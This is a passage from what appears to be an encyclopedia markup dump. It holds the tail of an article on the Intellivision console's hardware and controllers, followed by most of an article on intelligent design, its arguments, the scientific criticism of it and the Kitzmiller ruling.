**240 &amp;times; 8-bit Scratchpad Memory
**352 &amp;times; 16-bit (704 bytes) System Memory
**512 &amp;times; 8-bit Graphics RAM
*7168 bytes of [[read-only memory|ROM]]:
**4096 &amp;times; 10-bit (5120 bytes) Executive ROM
**2048 &amp;times; 8-bit Graphics ROM
*160 [[pixel]]s wide by 196 pixels high (5&amp;times;4 TV pixels make one Intellivision pixel)
*16 color palette, all of which can be on the screen at once 
*8 [[sprite (computer graphics)|sprite]]s of size 8&amp;times;8 or 8&amp;times;16
**Can be stretched horizontally (2&amp;times;) or vertically (2&amp;times;, 4&amp;times; or 8&amp;times;)
**Can be mirrored horizontally or vertically
*3 channel sound, with 1 noise generator ([[sound chip|audio chip]]: GI AY-3-8914)

==Game controller specs==
*Twelve-button [[numeric keypad]] (0&amp;ndash;9, Clear, and Enter)
*&quot;Four&quot; side-located &quot;action buttons&quot; (where the top two are actually electronically the same, giving three distinct buttons) 
*&quot;Directional Disk&quot;, capable of detecting 16 directions of movement
*&quot;Overlays&quot; that would slide into place as an extra layer on the keypad to show game-specific key functions

Fans of the game recall that an [[:Category:overuse injuries|overuse injury]] was possible when playing for extended periods of time due to the pressure needed to use the keypad and especially the side buttons.  This was a phenomenon similar to [[BlackBerry Thumb]] today.  The problem was worsened significantly when the cost-reduced Intellivision II changed from solid rubber side buttons to plastic ones with a hollow center, leaving a rectangular imprint on players' thumbs and causing pain after even short periods of play.  The change was apparently made to fractionally reduce the materials cost of the units, and was never play-tested for usability due to the rush to bring the system to market in the early days of the Video game crash of 1983.

==External links==
*[http://www.intellivisionlives.com/home.shtml Intellivision retrogaming company homepage], run by Keith Robinson and The Blue Sky Rangers (the original Intellivision game programmers)
*[http://intelliwiki.kylesblog.com/ Intellivision Technical Wiki], put together by modern day Intellivision enthusiasts
*[http://sdk-1600.spatula-city.org/ SDK-1600], a development kit for the Intellivision
*[http://www.intelligentvision.org/ IntelligentVision], a group releasing cartridge versions of homebrew Intellivision games
*[http://www.thedoteaters.com/play3sta3.htm Article at The Dot Eaters], an extensive history of the Intellivision console and its development
*[http://www.intellivisionworld.com/ IntellivisionWorld], The more up to date Intellivision related web site, working on development of new cartridges

==See also==
{{Dedicated video game consoles}}
[[List of Intellivision games]]

[[Category:Second-generation video game consoles]]

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      <comment>merging with ID</comment>
      <text xml:space="preserve">#REDIRECT [[intelligent design]]</text>
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    <title>Intelligent design</title>
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      <comment>/* Arguments from ignorance */ wikify</comment>
      <text xml:space="preserve">{{otheruses}}   
{{creationism2}}
{{Intelligent Design}}

'''Intelligent design''' ('''ID''') is the concept that &quot;certain features of the [[universe]] and of [[life|living things]] are best explained by an [[Argument from design|intelligent cause]], not an undirected process such as [[natural selection]].&quot;{{ref|id_def}} Its leading proponents, all of whom are affiliated with the [[Discovery Institute]]{{ref|proponents_affiliated}}, say that intelligent design is a [[Science|scientific]] [[theory]] that stands on equal footing with, or is superior to, current scientific theories regarding the [[origin of life]].{{ref|intro_meyer}}
 
An overwhelming majority{{ref|overwhelming}} of the [[scientific community]] views intelligent design not as a valid [[scientific theory]] but as [[pseudoscience]] or [[junk science]].{{ref|id_junkscience_1}} The [[United States National Academy of Sciences|U.S. National Academy of Sciences]] has stated that intelligent design &quot;and other claims of [[supernatural]] intervention in the origin of life&quot; are not science because they cannot be tested by [[scientific experiment|experiment]], do not generate any predictions and propose no new [[hypothesis|hypotheses]] of their own.{{ref|nas_id_creationism_1}} 

[[United States federal courts]] have ruled as unconstitutional a public school district requirement endorsing intelligent design as an alternative to evolution in science classes, on the grounds that its inclusion violates the [[Establishment Clause]] of the [[First Amendment to the United States Constitution|First Amendment]]. In ''[[Kitzmiller v. Dover Area School District]]'' (2005). United States federal court judge [[John E. Jones III]] [[Wikisource:Kitzmiller v. Dover Area School District 6: curriculum, conclusion#H. Conclusion|ruled that]] intelligent design is not science and is essentially religious in nature.  

==Intelligent design in summary==
Intelligent design is presented as an alternative to purely [[naturalism (philosophy)|naturalistic]] explanations for [[evolution]]. The stated{{ref|id_goal_putative}} purpose is to investigate whether or not existing [[empiricism|empirical evidence]] implies that life on [[Earth]] must have been designed by an [[intelligence (trait)|intelligent]] agent or agents. [[William Dembski]], one of intelligent design's leading proponents, has stated that the fundamental claim of intelligent design is that &quot;there are natural systems that cannot be adequately explained in terms of undirected natural forces and that exhibit features which in any other circumstance we would attribute to intelligence.&quot;{{ref|dembski_adequately_explained}}

Proponents of intelligent design look for [[scientific evidence|evidence]] of what they term ''&quot;signs of intelligence&quot;'' — [[physical properties]] of an object that they assert necessitate design. The most commonly cited signs include [[irreducible complexity]], [[information]] mechanisms, and [[specified complexity]]. Design proponents argue that living systems show one or more of these, from which they infer that some aspects of life have been designed. This stands in opposition to mainstream [[Biology|biological science]], which relies on experiment and collection of uncontested data to explain the natural world exclusively through observed impersonal physical processes such as [[mutations]] and [[natural selection]]. Intelligent design proponents say that while evidence pointing to the nature of an &quot;intelligent cause or agent&quot; may not be directly [[observation|observable]], its effects on nature can be detected. Dembski, in ''Signs of Intelligence'', states: &quot;Proponents of intelligent design regard it as a scientific research program that investigates the effects of intelligent causes. Note that intelligent design studies the ''effects'' of intelligent causes and not intelligent causes ''per se''.&quot; In his view, one cannot test for the identity of influences exterior to a closed system from within, so questions concerning the identity of a designer fall outside the realm of the concept.

===Origins of the concept===
For millennia, philosophers have argued that the complexity of nature indicates the existence of a purposeful natural or supernatural designer/creator. The first recorded arguments for a natural designer come from [[Ancient Greece|Greek]] philosophy. The philosophical concept of the &quot;[[Logos]]&quot; is typically credited to [[Heraclitus]] (c. 535&amp;ndash;c.475 [[Common era|BCE]]), a Pre-Socratic philosopher, and is briefly explained in his extant fragments.{{ref|heraclitus}} [[Plato]] (c. 427&amp;ndash;c. 347 BCE) posited a natural &quot;[[demiurge]]&quot; of supreme wisdom and intelligence as the creator of the cosmos in his work ''[[Timaeus (dialogue)|Timaeus]]''. [[Aristotle]] (c. 384&amp;ndash;322 BCE) also developed the idea of a natural creator of the cosmos, often referred to as the &quot;[[Cosmological argument|Prime Mover]]&quot; in his work ''[[Metaphysics (Aristotle)|Metaphysics]]''.  In his ''de Natura Deorum'' (On the Nature of the Gods) [[Cicero]] (c. 106&amp;ndash;c. 43 BCE) stated, &quot;The divine power is to be found in a principle of reason which pervades the whole of nature.&quot;{{ref|natura_deorum}}

The use of this line of reasoning as applied to a supernatural designer has come to be known as the [[teleological argument]] for the existence of [[God]]. The most notable forms of this argument were expressed by [[Thomas Aquinas]] in his ''[[Summa Theologiae]]''{{ref|five_ways}} (thirteenth century), design being the fifth of Aquinas' five proofs for God's existence, and [[William Paley]] in his book ''Natural Theology'' (1802), where he uses the [[watchmaker analogy]], which is still used in intelligent design arguments. In the early [[19th century]] such arguments led to the development of what was called [[Natural theology]], the study of [[biology]] as a search to understand the &quot;mind of God&quot;. This movement fueled the passion for collecting fossils and other biological specimens that ultimately led to [[Charles Darwin|Darwin's]] theory of [[Origin of Species|the origin of species]].

Intelligent design in the late 20th century can be seen as a modern reframing of natural theology. As [[evolutionary theory]] has expanded to explain more phenomena, so the examples held up as evidence of design have changed, but the essential argument remains the same: complex systems imply a designer. In the past, examples that have been offered included the eye (optical system) and the feathered wing; current examples are mostly [[biochemical]]: protein functions, blood clotting, and bacteria flagella (see [[irreducible complexity]]).

Intelligent design deliberately does not try to identify or name the specific [[intelligent designer|agent of creation]] &amp;ndash; it merely states that one (or more) must exist. While intelligent design itself does not name the designer, the personal view of many proponents is that the designer is the Christian god.  Whether this was a genuine feature of the concept or just a posture taken to avoid alienating those who would separate religion from science-teaching has been a matter of great debate between supporters and critics of intelligent design. The [[Kitzmiller v. Dover Area School District]] court ruling held the latter to be the case.

===Origins of the term===
Though unrelated to the current use of the term, the phrase &quot;intelligent design&quot; can be found in an 1847 issue of ''Scientific American'', in an 1868 geography textbook{{ref|1868}}, and in an address to the 1873 annual meeting of the [[British Association for the Advancement of Science]] by Paleyite botanist [[George James Allman]]:

&lt;blockquote&gt;No physical hypothesis founded on any indisputable fact has yet explained the origin of the primordial protoplasm, and, above all, of its marvellous properties, which render evolution possible&amp;mdash;in heredity and in adaptability, for these properties are the cause and not the effect of evolution. For the cause of this cause we have sought in vain among the physical forces which surround us, until we are at last compelled to rest upon an independent volition, a far-seeing intelligent design.{{ref|times1873}}&lt;/blockquote&gt;

The phrase was coined again in ''Humanism'', a 1903 book by [[Ferdinand Canning Scott Schiller]]: &quot;It will not be possible to rule out the supposition that the process of evolution may be guided by an intelligent design,&quot; and was resurrected in the early 1980s by Sir [[Fred Hoyle]] as part of his promotion of [[panspermia]].{{ref|times1982}} 

The term was again resurrected when the [[Supreme Court of the United States]], in the case of [[Edwards v. Aguillard]] (1987), ruled that [[creationism]] is unconstitutional in public school science curricula. [[Stephen C. Meyer]], cofounder of the [[Discovery Institute]] and vice president of the [[Center for Science and Culture]], reports that the term came up in 1988 at a conference he attended in [[Tacoma, Washington]], called ''Sources of Information Content in DNA''.{{ref|safire2005}} He attributes the phrase to [[Charles Thaxton]], editor of ''[[Of Pandas and People]]''. In drafts of the book ''Of Pandas and People'', the word 'creationism' was subsequently changed, almost without exception to ''intelligent design''. The book was published in 1989 and is considered to be the first intelligent design book.{{ref|first_id_book}} The term was promoted more broadly by the retired legal scholar [[Phillip E. Johnson]] following his 1991 book ''[[Darwin on Trial]]'' which advocated redefining science to allow claims of supernatural creation. Johnson, considered the &quot;father&quot; of the [[intelligent design movement]], went on to work with Meyer, becoming the program advisor of the Center for Science and Culture in forming and executing the [[wedge strategy]].

==Concepts==
The following are summaries of key concepts of intelligent design, followed by summaries of criticisms. Counter-arguments against such criticisms are often proffered by intelligent design proponents, as are counter-counter-arguments by critics, etc.

===Irreducible complexity===
{{main article|[[Irreducible complexity]]}}
In the context of intelligent design, irreducible complexity was put forth by [[Michael Behe]], who defines it as:

&lt;blockquote&gt;...a single system which is composed of several well-matched interacting parts that contribute to the basic function, wherein the removal of any one of the parts causes the system to effectively cease functioning. (Behe, Molecular Machines: Experimental Support for the Design Inference) &lt;/blockquote&gt;

Behe uses the mousetrap as an illustrative example of this concept. A mousetrap consists of several interacting pieces — the base, the catch, the spring, the hammer — all of which must be in place for the mousetrap to work. The removal of any one piece destroys the function of the mousetrap. Intelligent design advocates assert that natural selection could not create irreducibly complex systems, because the selectable function is only present when all parts are assembled.  Behe's original examples of alleged{{ref|MillerIC}} irreducibly complex biological mechanisms also include the bacterial [[flagellum]] of ''[[E. coli]]'', the [[blood clotting]] cascade, [[cilia]], and the adaptive [[immune system]].

Critics point out that the irreducible complexity argument assumes that the necessary parts of a system have always been necessary, and therefore could not have been added sequentially. They argue that something which is at first merely advantageous can later become necessary, as other components change. Furthermore, they argue that evolution often proceeds by altering preexisting parts or by removing them from a system, instead of by adding them; this is sometimes referred to as the &quot;scaffolding objection&quot; by an analogy with scaffolding which can support a (irreducibly complex) building until it is complete and able to stand on its own.

===Specified complexity===
{{main article|[[Specified complexity]]}}
The intelligent design concept of '''specified complexity''' was developed by mathematician, philosopher, and theologian [[William Dembski]]. Dembski states that when something exhibits specified complexity (i.e., is both complex and specified, simultaneously), one can infer that it was produced by an intelligent cause (i.e., that it was designed) rather than being the result of natural processes. He provides the following examples: &quot;A single letter of the alphabet is specified without being complex. A long sentence of random letters is complex without being specified. A [[Shakespearean]] [[sonnet]] is both complex and specified.&quot;{{ref|sc_intdes_p47}} He states that details of living things can be similarly characterized, especially the &quot;patterns&quot; of molecular sequences in functional biological molecules such as [[DNA]].

Dembski defines complex specified information as anything with a less than 1 in 10&lt;sup&gt;150&lt;/sup&gt; chance of occurring by (natural) chance. Critics say that this renders the argument a [[tautology]]: Complex specified information (CSI) cannot occur naturally because Dembski has defined it thus, so the real question becomes whether or not CSI actually exists in nature.

The conceptual soundness of Dembski's specified complexity/CSI argument is strongly disputed by the scientific community.{{ref|time_nowak}} Specified complexity has yet to be shown to have wide applications in other fields as Dembski claims. John Wilkins and [[Wesley R. Elsberry|Wesley Elsberry]] characterize Dembski's &quot;explanatory filter&quot; as ''eliminative'', because it eliminates explanations sequentially: first regularity, then chance, finally defaulting to design. They argue that this procedure is flawed as a model for scientific inference because the asymmetric way it treats the different possible explanations renders it prone to making false conclusions of design.{{ref|wilkins_elsberry}}

===Fine-tuned universe===
{{main article|[[Fine-tuned universe]]}}
One of the arguments of intelligent design proponents that includes more than just biology is that we live in a fine-tuned universe, with many features that make life possible that cannot be attributed to chance. These features include the values of physical constants, the strength of nuclear forces, and many others. Intelligent design proponent and [[Center for Science and Culture]] fellow Guillermo Gonzalez argues that if any of these values were even slightly different, the universe would be dramatically different, with many [[chemical elements]] and features of the universe like [[galaxies]] being impossible to form.{{ref|Gonzalez}} Thus, they argue, an intelligent designer of life was needed to ensure that the requisite features were present to achieve that particular outcome. Other scientists respond that the argument cannot be tested, is not quantifiable, and is poorly supported by existing evidence.{{ref|PandaGonzo}}

Critics of both intelligent design and the weak form of [[anthropic principle]] argue that they are essentially a [[tautology]]; in their view, these arguments amount to the claim that life is able to exist because the universe is able to support life. The claim of the improbability of a life-supporting universe has also been criticized as an [[argument by lack of imagination]] for assuming no other forms of life are possible; life as we know it may not exist if things were different, but a different sort of life might exist in its place. They also suggest that many of the stated variables appear to be interconnected, and that calculations made by mathematicians and physicists suggest that the emergence of a universe similar to ours is quite probable.

===The designer or designers===
{{main article|[[Intelligent designer]]}}
Intelligent design arguments are formulated in secular terms and intentionally avoid identifying the intelligent agent they posit. They do not state that God is the designer, but the designer is often implicitly hypothesized to have intervened in a way that only a God could intervene.  Intelligent design proponents, such as Dembski, have implied that an alien culture could fulfill these requirements, but since the authoritative description of intelligent design{{ref|discovery_id_def}} explicitly states that the ''universe'' displays features of having been designed, Dembski concludes that &quot;no intelligent agent who is strictly physical could have presided over the origin of the universe or the origin of life.&quot;{{ref|dembski_ftu}} Furthermore, the leading proponents have made statements to their supporters that they believe the designer to be the [[Christianity|Christian]] [[God]], to the exclusion of all other religions, and thus there exists a well-established link to [[Genesis]] and Creationism.

Critics argue that existing evidence makes the design hypothesis appear unlikely. For example, Jerry Coyne, of the [[University of Chicago]], asks why a designer would &quot;give us a pathway for making vitamin C, but then destroy it by disabling one of its enzymes&quot; and why he or she wouldn't &quot;stock oceanic islands with reptiles, mammals, amphibians, and freshwater fish, despite the suitability of such islands for these species.&quot; Critics of intelligent design point to the fact that &quot;the flora and fauna on those islands resemble that of the nearest mainland, even when the environments are very different&quot; as evidence that species were not placed there by a designer.{{ref|Coyne}}  Behe argued in ''[[Darwin's Black Box]]'' that we are simply incapable of understanding the designer's motives, so such questions cannot be answered definitively.  Odd designs could, for example, &quot;have been placed there by the designer... for artistic reasons, to show off, for some as-yet undetectable practical purpose, or for some unguessable reason.&quot; Coyne responds that in light of the evidence, &quot;either life resulted not from intelligent design, but from evolution; or the intelligent designer is a cosmic prankster who designed everything to make it look as though it had evolved.&quot;

Asserting the need for a designer of complexity also raises the question, &quot;what designed the designer?&quot; Intelligent design proponents say that the question is irrelevant to or outside the scope of intelligent design,{{ref|wdd3}} but Richard Wein counters that the unanswered questions a theory creates &quot;must be balanced against the improvements in our understanding which the explanation provides. Invoking an unexplained being to explain the origin of other beings (ourselves) is little more than [[Begging the question|question-begging]]. The new question raised by the explanation is as problematic as the question which the explanation purports to answer.&quot;{{ref|wein_designer}}  Critics see the claim that the designer need not be explained not as a contribution to knowledge but as a [[thought-terminating cliché]].  Answering &quot;what designed the designer?&quot; leads to an [[turtles all the way down|infinite regression]] from which intelligent design proponents can only escape by resorting to religious creationism or logical contradiction.

==Intelligent design as a movement==
{{main article|[[Intelligent design movement]]}}
[[Image:Time evolution wars.jpg|thumb|[[Time magazine]] cover, August 15, 2005]] The '''intelligent design movement''' arose out of an organized [[Neo-Creationism|neocreationist]] campaign directed by the [[Discovery Institute]] to promote a religious agenda calling for broad social, academic and political changes employing intelligent design arguments in the public sphere, primarily in the [[United States]]. Leaders of the movement say intelligent design exposes the limitations of scientific orthodoxy and of the [[secular]] philosophy of [[Naturalism (philosophy)|Naturalism]]. Intelligent design proponents allege that science shouldn't be limited to naturalism, and shouldn't demand the adoption of a naturalistic [[Philosophy of science|philosophy]] that dismisses any explanation that contains a supernatural cause out of hand. 

[[Phillip E. Johnson]], considered the father of the intelligent design movement, stated that the goal of intelligent design is to cast [[creationism]] as a scientific concept.{{ref|johnson_id_neocreationism}} All leading intelligent design proponents are fellows or staff of the Discovery Institute and its [[Center for Science and Culture]].{{ref|discovery_fellows}}  Nearly all intelligent design concepts and the associated movement are the products of the Discovery Institute which guides the movement and follows its [[wedge strategy]] while conducting its adjunct [[Teach the Controversy]] campaign.

Leading intelligent design proponents have made conflicting statements regarding intelligent design. In statements directed at the general public they state that intelligent design is not religious, while they state that intelligent design has its foundation in the [[Bible]]{{ref|johnson_john1_2}} when addressing conservative Christian supporters.

[[Barbara Forrest]], an expert who has written extensively on the movement, describes this as being due to the Discovery Institute obfuscating its agenda as a matter of policy. She has written that the movement's &quot;activities betray an aggressive, systematic agenda for promoting not only intelligent design creationism, but the religious world-view that undergirds it.&quot;{{ref|forrest_wedge}}

===Religion and leading proponents===
Intelligent design arguments are carefully formulated in [[secular]] terms and intentionally avoid positing the identity of the designer. Phillip E. Johnson has stated that cultivating ambiguity by employing secular language in arguments which are carefully crafted to avoid overtones of [[theism|theistic]] [[creationism]] is a necessary first step for ultimately reintroducing the Christian concept of God as the designer. Johnson emphasizes &quot;the first thing that has to be done is to get the [[Bible]] out of the discussion&quot; and that &quot;after we have separated [[scientific materialism|materialist]] [[prejudice]] from scientific fact ... only then can 'biblical issues' be discussed.&quot;{{ref|johnson_bible_out}} Johnson explicitly calls for intelligent design proponents to obfuscate their religious motivations so as to avoid having intelligent design identified &quot;as just another way of packaging the [[evangelical Christian|Christian evangelical]] message.&quot;{{ref|johnson_evangelical_message}} The principal intelligent design advocates, including [[Michael Behe]], [[William Dembski]], [[Jonathan Wells]] (actually a member of the [[Unification Church]], headed by [[Reverend Moon]]), and [[Stephen C. Meyer]], are Christians and have stated that in their view the designer of life is [[God]]. The vast majority of leading intelligent design proponents are [[Evangelism|evangelical]] [[Protestantism|Protestants]].

The conflicting claims made by leading intelligent design advocates as to whether or not intelligent design is rooted in religious conviction are the result of their [[wedge strategy|strategy]]. For example, William Dembski in his book ''The Design Inference''{{ref|intro_dembski}} lists a [[god]] or an &quot;[[extraterrestrial life|alien life force]]&quot; as two possible options for the identity of the designer. However, in his book ''Intelligent Design: the Bridge Between Science and Theology'' Dembski states that &quot;Christ is indispensable to any scientific theory, even if its practitioners don't have a clue about him. The pragmatics of a scientific theory can, to be sure, be pursued without recourse to Christ. But the conceptual soundness of the theory can in the end only be located in Christ.&quot;{{ref|dembski_id_christ}} Dembski also stated &quot;ID is part of God's [[general revelation]]...&quot; &quot;Not only does intelligent design rid us of this ideology ([[materialism]]), which suffocates the human spirit, but, in my personal experience, I've found that it opens the path for people to come to Christ.&quot;{{ref|dembski_morris}}

The two leading intelligent design proponents, Phillip Johnson and William Dembski, cite the Bible's [[Book of John]] as the foundation of intelligent design.{{ref|dembski_logos_john}}{{ref|johnson_john1}} Barbara Forrest contends that such statements reveal that leading proponents see intelligent design as essentially religious in nature, as opposed to a scientific concept that has implications with which their personal religious beliefs happen to coincide.{{ref|forrest_dembski_johnson_def}}

==Intelligent design controversy==
A key strategy of the intelligent design movement is in convincing the general public that there is a debate among scientists about whether life evolved, seeking to convince the public, politicians, and cultural leaders that schools should &quot;[[teach the controversy]].&quot;{{ref|Seattle}}  However, there is no such controversy; the scientific consensus is that life evolved.{{ref|nabt_statement}}

The intelligent design controversy centers on three issues:
#Whether the definition of science is broad enough to allow for theories of origins which incorporate the acts of an intelligent designer
#Whether the evidence supports such theories
#Whether the teaching of such theories is appropriate and legal in public education

[[Natural science]] uses the [[scientific method]] to create ''[[a posteriori]]'' knowledge based on observation alone (sometimes called [[empiricism|empirical science]]). Intelligent design proponents seek to change this definition{{ref|forrest_redef}} by eliminating &quot;[[methodology|methodological]] [[naturalism (philosophy)|naturalism]]&quot; from science{{ref|johnson_reason_balance}} and replacing it with what the leader of the intelligent design movement, [[Phillip E. Johnson]],  calls &quot;[[theistic realism]]&quot;,{{ref|johnson_theistic_realism}} and what critics call &quot;methodological supernaturalism,&quot; which means belief in a transcendent, non-natural dimension of reality inhabited by a transcendent, non-natural deity. Intelligent design proponents argue that naturalistic explanations fail to explain certain phenomena, and that supernatural explanations provide a very simple and intuitive{{ref|id_intuitive}} explanation for the origins of life and the universe. Proponents say that evidence exists in the forms of [[irreducible complexity]] and [[specified complexity]] that cannot be explained by natural processes.

Supporters also hold that religious neutrality requires the teaching of both evolution and intelligent design in schools, saying that teaching only evolution unfairly discriminates against those holding creationist beliefs.  [[teach the controversy|Teaching both]], intelligent design supporters argue, allows for the possibility of religious belief, without causing the state to actually promote such beliefs.  Many intelligent design followers believe that &quot;[[Scientism]]&quot; is itself a religion that promotes [[secularism]] and [[materialism]] in an attempt to erase [[theism]] from public life, and view their work in the promotion of intelligent design as a way to return religion to a central role in education and other public spheres. Some allege that this larger debate is often the subtext for arguments made over intelligent design, though others note that intelligent design serves as an effective proxy for the religious beliefs of prominent intelligent design proponents in their efforts to advance their religious point of view within society.{{ref|belz_est}}{{ref|johnsone_reality_of_god}}{{ref|buell_hearn}}

According to critics, intelligent design has not presented a credible scientific case, and is an attempt to teach religion in public schools, which the [[United States Constitution]] forbids under the [[Establishment Clause of the First Amendment|Establishment Clause]]. They allege that intelligent design has substituted public support for scientific research.{{ref|giberson_bigbang}} Furthermore, if one were to take the proponents of &quot;equal time for all theories&quot; at their word, there would be no logical limit to the number of potential &quot;theories&quot; to be taught in the public school system, including admittedly silly ones like the [[Flying Spaghetti Monster]] &quot;theory.&quot;  There are innumerable mutually-incompatible supernatural explanations for complexity, and intelligent design does not provide a mechanism for discriminating among them.   Furthermore, intelligent design is neither observable nor repeatable, which critics argue violates the scientific requirement of [[falsifiability]]. Indeed, intelligent design proponent [[Michael Behe]] concedes &quot;You can't prove intelligent design by experiment.&quot;{{ref|behe_time}} 

Even though evolution theory does not explain [[abiogenesis]], the generation of life from nonliving matter, intelligent design proponents cannot ''infer'' that an intelligent designer is behind the part of the process that is not understood scientifically, since they have not shown that anything supernatural has occurred. The inference that an intelligent designer (a god or an alien life force){{ref|dembski_aliens}} created life on Earth has been compared to the ''[[a priori]]'' claim that aliens helped the ancient Egyptians build the pyramids.{{ref|pyramids_comp}}{{ref|dembski_goblins_built_pyramids}} In both cases, the effect of this outside intelligence is not repeatable, observable, or falsifiable, and it violates [[Occam's Razor]].  From a strictly [[empiricism|empirical]] standpoint, one may list what is known about Egyptian construction techniques, but must admit ignorance about exactly how the Egyptians built the pyramids.  &lt;!--paraphrasing [http://www.prospect.org/print/V13/22/mooney-c.html]: &quot;intelligent design advocates don't always articulate precisely what sort of intelligence they think is the designer, but God &amp;ndash; defined in a very nebulous way &amp;ndash; generally out-polls ''extraterrestrials'' as the leading candidate.&quot;--&gt;

Many religious people do not condone the teaching of what is considered unscientific or questionable material, and support [[theistic evolution]] which does not conflict with scientific theories. An example is [[Christoph Cardinal Schönborn|Cardinal Schönborn]] who sees &quot;purpose and design in the natural world&quot; yet has &quot;no difficulty... with the theory of evolution [within] the borders of scientific theory&quot;.

===Can intelligent design be defined as science?===
The [[scientific method]] is based on an approach known as [[methodological naturalism]] to study and explain the natural world, without assuming the existence or nonexistence of the supernatural. Intelligent design proponents have often said that their position is not only scientific, but that it is even more scientific than evolution, and want a redefinition of science to allow &quot;non-naturalistic theories such as intelligent design&quot;.{{ref|science_redef}} This presents a [[demarcation problem]], which in the [[philosophy of science]] is about how and where to draw the lines around science. For a theory to qualify as scientific it must be:
:* '''Consistent''' (internally and externally)
:* '''Parsimonious''' (sparing in proposed entities or explanations, see [[Occam's Razor]])
:* '''Useful''' (describes and explains observed phenomena)
:* '''Empirically testable &amp; falsifiable''' (see [[Falsifiability]])
:* '''Based upon multiple observations,''' often in the form of controlled, repeated experiments
:* '''Correctable &amp; dynamic''' (changes are made as new data are discovered)
:* '''Progressive''' (achieves all that previous theories have and more)
:* '''Provisional''' or tentative (admits that it might not be correct rather than asserting certainty)

For any theory, hypothesis or conjecture to be considered scientific, it must meet most, but ideally all, of the above criteria. The fewer criteria that are met, the less scientific it is; and if it meets only a couple or none at all, then it cannot be treated as scientific in any meaningful sense of the word. Typical objections to defining intelligent design as science are that it lacks consistency,{{ref|id_consistency}} violates the principle of parsimony,{{ref|id_parsimony}} is not falsifiable,{{ref|id_not_falsifiable}} is not empirically testable,{{ref|id_testable}} and is not correctable, dynamic, tentative or progressive.{{ref|id_correctable}}

In light of its apparent failure to adhere to scientific standards, in September 2005 38 [[Nobel_prize|Nobel laureates]] issued a statement saying &quot;intelligent design is fundamentally unscientific; it cannot be tested as scientific theory because its central conclusion is based on belief in the intervention of a supernatural agent.&quot;{{ref|nobellaureates_id}} And in October 2005 a coalition representing more than 70,000 Australian scientists and science teachers issued a statement saying &quot;intelligent design is not science&quot; and called on &quot;all schools not to teach Intelligent Design (ID) as science, because it fails to qualify on every count as a scientific theory.&quot;{{ref|au_scientists}}

Intelligent design critics also say that the intelligent design doctrine does not meet the criteria for scientific evidence used by most courts, the [[Daubert Standard]]. The Daubert Standard governs which evidence can be considered scientific in United States federal courts and most state courts.  The four [[Daubert Standard|Daubert criteria]] are:
:* The theoretical underpinnings of the methods must yield testable predictions by means of which the theory could be falsified. 
:* The methods should preferably be published in a [[peer review|peer-reviewed]] journal. 
:* There should be a known rate of [[error]] that can be used in evaluating the results. 
:* The methods should be generally accepted within the relevant scientific community.

In deciding ''[[Kitzmiller v. Dover Area School District]]'' on [[December 20]], [[2005]], Judge [[John E. Jones III]] [[Wikisource:Kitzmiller v. Dover Area School District 6: curriculum, conclusion#H. Conclusion|ruled that]] &quot;we have addressed the seminal question of whether ID is science. We have concluded that it is not, and moreover that ID cannot uncouple itself from its creationist, and thus religious, antecedents.&quot;

====Peer review====
The failure to follow the procedures of scientific discourse, and the failure to submit work to the scientific community which withstands scrutiny, have weighed very heavily against intelligent design being considered valid science. To date, the intelligent design movement has yet to have an article published in a peer-reviewed [[scientific journal]]. 

Intelligent design, by appealing to a supernatural agent, conflicts with the naturalistic orientation of science. Dembski, Behe and other intelligent design proponents claim bias by the scientific community is to blame for the failure of their research to be published. Intelligent design proponents believe that the merit of their writings is rejected for not conforming to purely naturalistic non-supernatural mechanisms rather than on grounds of their research not being up to &quot;journal standards&quot;. This claim is described as a [[conspiracy theory]] by some scientists.{{ref|conspiracy_theory}} The issue that the [[scientific method]] is based on [[methodological naturalism]] and so does not accept [[supernatural]] explanations became a sticking point for intelligent design proponents in the 1990's, and is addressed in [[The Wedge Strategy|&quot;The Wedge&quot; strategy]] as an aspect of science that must be challenged before intelligent design could be accepted by the broader scientific community.

The debate over whether intelligent design produces new research, as any scientific field must, and has legitimately attempted to publish this research, is extremely heated.  Both critics and advocates point to numerous examples to make their case.  For instance, the [[John Templeton Foundation|Templeton Foundation]], a former funder of the Discovery Institute and a major supporter of projects seeking to reconcile science and religion, says that they asked intelligent design proponents to submit proposals for actual research, but none were ever submitted. Charles L. Harper Jr., foundation vice president, said that &quot;From the point of view of rigor and intellectual seriousness, the intelligent design people don't come out very well in our world of scientific review.&quot;{{ref|templeton}} At the [[Wikisource:Kitzmiller v. Dover Area School District 4: whether ID is science#Page 88 of 139|Kitzmiller trial the judge found]] that intelligent design features no scientific research or testing.

The only article published in a peer-reviewed scientific journal that made a case for intelligent design was quickly withdrawn by the publisher for having circumvented the journal's peer-review standards.  Written by the Discovery Institute's Center for Science &amp; Culture Director [[Stephen C. Meyer]], it appeared in the peer-reviewed journal ''Proceedings of the Biological Society of Washington'' in August [[2004]].  The article was [[Literature_review|literature review]], which means that it did not present any new research, but rather culled quotes and claims from other papers to argue that the [[Cambrian explosion]] could not have happened by naturalistic processes.  The choice of venue for this article was also considered problematic, because it was so outside the normal subject matter. (see [[Sternberg peer review controversy]]) 

In the [[Wikisource:Kitzmiller v. Dover Area School District 4: whether ID is science#Page 88 of 139|Kitzmiller trial]], intelligent design proponents referenced just one paper, on simulation modeling of evolution by Behe and Snoke, that mentioned neither irreducible complexity nor intelligent design and that Behe admitted did not rule out known evolutionary mechanisms.  Dembski has written that &quot;Perhaps the best reason [to be skeptical of his ideas] is that intelligent design has yet to establish itself as a thriving scientific research program.&quot;{{ref|dembski_research}} In a 2001 interview Dembski said that he stopped submitting to peer-reviewed journals because of their slow time-to-print and that he makes more money from publishing books.{{ref|dembski_pr}} 

In sworn testimony at the Kitzmiller trial Behe stated that &quot;there are no peer reviewed articles by anyone advocating for intelligent design supported by pertinent experiments or calculations which provide detailed rigorous accounts of how intelligent design of any biological system occurred.&quot;{{ref|behe_peer_review}} Further, as summarized by the judge, Behe conceded that there are no peer-reviewed articles supporting his claims of intelligent design or irreducible complexity. Despite this, the Discovery Institute continues to claim that a number of intelligent design articles have been published in peer reviewed journals,{{ref|di_peer_review}} including in their list the two articles mentioned above. Critics, largely members of the scientific community, reject this claim, pointing out that no established scientific journal has yet published an intelligent design article, and that intelligent design proponents have set up their own journals with &quot;peer review&quot; that consists entirely of intelligent design supporters which lack [[rigor]].

===Intelligence as an observable quality===
